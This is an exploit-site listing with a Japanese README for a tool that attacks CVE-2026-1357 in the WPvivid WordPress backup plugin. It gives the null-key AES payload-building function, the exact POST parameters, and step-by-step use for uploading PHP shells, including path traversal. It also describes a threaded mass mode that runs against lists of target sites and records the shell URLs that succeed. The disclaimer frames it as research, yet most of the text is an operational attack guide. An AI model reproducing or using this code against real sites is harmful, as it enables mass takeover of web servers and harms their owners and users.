Sploitus

Exploit for CVE-2026-1357

kitploit · 2026-09-01

Exploit Code

MARKDOWN403 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NXPLOITED-CVE-2026-1357
# 🧨 CVE-2026-1357 – WPvivid Null-Key エクスプロイトツール (`CVE-2026-1357.py`)

**移行、バックアップ、ステージング – WPvivid Backup & Migration ≤ 0.9.123**  
**脆弱性:** 認証なし任意ファイルアップロード → リモートコード実行  
**CVE:** `CVE-2026-1357` – **CVSS 9.8(クリティカル)**

**GitHub:** `https://github.com/Nxploited`  
**Telegram:** `@KNxploited`

* * *

## 🧬 このスクリプトの機能

![Nxploited](https://raw.githubusercontent.com/Nxploited/CVE-2026-1357/main/Nx.png)

`CVE-2026-1357.py` は、WPvivid の脆弱性を利用する **概念実証(PoC)エクスプロイトツール** です。このツールは、攻撃者による以下の操作を可能にする、欠陥のある AES セッション処理に焦点を当てています。

  1. WPvivid が期待するのと同じ形式で、**Null-Key AES/IV** (すべてゼロバイト)を使ってペイロードを暗号化する。
  2. 任意のファイル内容(例: PHP シェル)と選択したファイル名/パス(`name`)をペイロードに埋め込む。
  3. このペイロードを `wpvivid_action=send_to_site` パラメータ経由で WPvivid エンドポイントに送信する。
  4. (必要に応じて)ファイルが正常に書き込まれ、アクセス可能かどうかを検証する。



このスクリプトは、秘密鍵を直接推測したり悪用したりする**ことはありません** 。代わりに、`openssl_private_decrypt()` の失敗によって phpseclib の AES 暗号が Null-Key で初期化されるという、WPvivid の壊れた処理フローを再現します。

* * *

## 🧠 技術的な内部動作

### 🔐 AES Null-Key ペイロード

エクスプロイトの核心は `gen_wpvivid_payload()` にあります。

  * 以下の JSON 構造を構築します。

root@kitploit:~
        
        {
          "name": "<file_name>",
          "offset": 0,
          "data": "<base64(file_bytes)>",
          "file_size": <len(file_bytes)>,
          "md5": "<md5(file_bytes)>"
        }
        

  * この JSON を(スペースなしのコンパクト形式で)シリアライズします。

  * 次の設定で JSON を暗号化します。

    * `AES-128-CBC`
    * `key = b"\x00" * 16`
    * `iv = b"\x00" * 16`
  * その後、以下を先頭に付加します。

    * 3 バイト: `"000"`(固定長フィールドのプレースホルダー)
    * 16 バイトの大文字 16 進数: 暗号文の長さを `"{len(cipher):016X}"` としてエンコードした値
  * 最終的な暗号化ブロブは次のようになります。

root@kitploit:~
        
        "000" + <16バイトの暗号文長16進数> + <raw AES-CBC暗号文>
        

  * このブロブは Base64 エンコードされ、最終的な `wpvivid_content` 値として返されます。




関数:

root@kitploit:~
    
    
    def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
        file_md5 = hashlib.md5(file_bytes).hexdigest()
        json_obj = {
            "name": file_name,
            "offset": 0,
            "data": base64.b64encode(file_bytes).decode(),
            "file_size": len(file_bytes),
            "md5": file_md5,
        }
        json_str = json.dumps(json_obj, separators=(",", ":")).encode()
        cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
        encrypted = cipher.encrypt(pad(json_str, AES.block_size))
        key_len_field = b"000"
        cipherlen_field = f"{len(encrypted):016X}".encode()
        blob = key_len_field + cipherlen_field + encrypted
        return base64.b64encode(blob).decode()
    

これは、RSA 復号失敗後に脆弱なコード経路で WPvivid が期待する復号仕様と一致します。

* * *

## 🧰 機能とモード

このスクリプトには **2つの主要モード** に加え、一括テスト機能があります。

  1. `mood1` – **ペイロード生成器**

     * Null-Key の仕組みを使った有効な `wpvivid_content` 値を生成します。
     * ファイル内容を定義する複数の方法に対応しています。
     * ターゲットリストに対して **一括テスト** (Mass Tester)を起動することもできます。
  2. `mood2` – **単一ターゲットテスト**

     * 事前に生成したペイロードを使用します。
     * **単一の** ターゲットをエンドツーエンドでテストします。 
       * ペイロードを送信します。
       * 想定される結果ファイルの URL を構築します。
       * ファイルにアクセスできるかどうかを検証します。
  3. **マスモード** (`mood1` から起動)

     * 選択したペイロードをリストファイル内の **複数のターゲット** に送信します。
     * 並行処理とプログレスバーを使用します。
     * 成功したアップロードを追跡・記録します。



* * *

## 🚦 スクリプトの実行

root@kitploit:~
    
    
    python3 CVE-2026-1357.py
    

**Rich ベースの UI** がバナーとモード選択とともに表示されます。

  * `mood1` – ペイロード生成器
  * `mood2` – 単一ターゲットテスト



* * *

## 🧪 モード: mood1 – ペイロード生成器

### 目的

  * 以下の情報をエンコードしたエクスプロイトペイロード(`wpvivid_content`)を作成します。 
    * WPvivid に書き込ませたい **ファイルパス/名前**
    * **ファイル内容** (シェル、テストファイルなど)



### フロー

  1. **モード選択**

プロンプトが表示されたら:

root@kitploit:~
         
         Choose mode (mood1/mood2) [mood1]:
         

`Enter` キーを押すか(`mood1` がデフォルト)、`mood1` と入力します。

  2. **ターゲットのファイル名 / パス**

次のように求められます。

root@kitploit:~
         
         Target file name (e.g., Nx_.php or ../../public/Nx_.php):
         

例:

     * WPvivid バックアップディレクトリにファイルを配置する場合:

root@kitploit:~
           
           Nx_.php
           

     * ディレクトリトラバーサルを悪用する場合(ターゲットが許可していれば):

root@kitploit:~
           
           ../../public_html/Nx_.php
           

この値は JSON ペイロードの `name` フィールドに入ります。

  3. **内容入力モード**

スクリプトはファイル内容を定義する3つの方法を表示します。

     * **モード 1** : 単一行の内容
     * **モード 2** : 複数行の内容(`EOF` で終了)
     * **モード 3** : ローカルファイルから読み込み(例: `shell.php`)

次のように求められます。




### オプション: mood1 からのマスモード

ペイロード生成後、スクリプトは次のように尋ねます。

root@kitploit:~
    
    
    Auto-send this payload to targets list (mass mode)? (y/N):
    

`y` と答えると、作成したペイロードとファイル名を使った **マスモード** が開始されます。

* * *

## 🌐 マスモード – 複数ターゲット

### 目的

  * **単一のエクスプロイトペイロード** を **ターゲットリスト** に対してテストします。



### フロー

  1. **ターゲットファイル**

プロンプト例:

root@kitploit:~
         
         Targets list file (one URL per line):
         

ファイルの期待される形式(例: `targets.txt`):

root@kitploit:~
         
         https://site1.com
         site2.com
         http://site3.net
         

スクリプトはベース URL を自動的に正規化します(スキームがない場合は追加します)。

  2. **スレッド数**

root@kitploit:~
         
         Threads (concurrent sites) [5]:
         

並列処理するサイト数を制御します。

  3. **ターゲットごとのロジック**

各ターゲットについて:

     * URL を正規化 → `base_url`

     * 呼び出し:

root@kitploit:~
           
           send_wpvivid_payload(base_url, payload)
           

この関数は:

       * `wpvivid_action=send_to_site` \+ `wpvivid_content=<payload>` の POST を構築します。
       * 調整済みコネクションプール設定の新しいセッションで送信します。
       * レスポンスに `{"result":"success"}`(コンパクト形式)が含まれるかどうかを確認します。
     * アップロードが成功したと判断された場合:

       * `shell_url` を次のように構築します。




* * *

## 🧪 モード: mood2 – 単一ターゲットテスト

### 目的

  * 既存のペイロード(`wpvivid_payload.txt` または外部ソースから)を **単一の URL** に対して使用し、結果のファイルを検証します。



### フロー

  1. **ターゲット URL**

プロンプト:

root@kitploit:~
         
         Target base URL (e.g., https://site.com):
         

例:

root@kitploit:~
         
         https://victim.com
         

スクリプトはこれを次のようなベースに正規化します。

root@kitploit:~
         
         https://victim.com
         

  2. **ファイル名**

プロンプト:

root@kitploit:~
         
         Expected file name (e.g., Nx_.php):
         

これは、WPvivid が書き込むと **予想される** 名前/パスです(ペイロードの `name` フィールドにエンコードしたものと一致させます)。

  3. **ペイロード入力**

プロンプト:

root@kitploit:~
         
         Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
         

     * `wpvivid_content=...` で始まる行全体を貼り付けた場合、プレフィックスを除去します。
     * Base64 のみを貼り付けた場合、そのまま使用します。
  4. **実行**

スクリプトは:

     * `wpvivid_action=send_to_site` \+ 入力した `wpvivid_content` で POST を送信します。

     * レスポンスが成功を示している場合、次のように構築します。




このモードは、ペイロードを細かく制御しながら **単一サイトの手動/ラボテスト** を行うのに最適です。

* * *

## 📁 出力ファイル

  * **`wpvivid_payload.txt`**

    * `mood1` で書き込まれます。
    * 以下を保存します。 
      * `file_name=<選択したファイル名>`
      * `wpvivid_content=<ペイロード>`
  * **`Nx_.txt`**

    * `mood1`(マスモード)と `mood2` で書き込まれます。
    * アップロードが成功したと見られる **成功したファイルの URL を1行に1つ** 含みます(検証済みの場合もあります)。



* * *

## ⚠️ 免責事項

このツールは、**以下の目的のみ** を意図しています。

  * 管理された環境でのセキュリティ研究。
  * **自分が所有している** 、または **明示的な書面による許可を得ている** システムのテスト。
  * CVE-2026-1357 に対する是正策と検知策の検証。



このスクリプトを使用することで、以下に同意したものとみなされます。

  * 適用されるすべての法律を遵守する責任があること。
  * 適切な許可なしにシステムで使用しないこと。
  * 作者(Nxploited)は、このツールの使用から生じる誤用、損害、法的問題、またはインシデントについて **一切の責任を負わない** こと。



**自己責任で** 、そして **正当なセキュリティテストのためだけに** 使用してください。

* * *

## ✍️ 作者と連絡先

  * **作成者:** `Nxploited`(Khaled Alenazi)
  * **GitHub:** `https://github.com/Nxploited`
  * **Telegram:** `@KNxploited`



アップデート、ツール、セキュリティ研究コンテンツについては、Telegram チャンネルをフォローしてください。  
👉 **`@KNxploited`**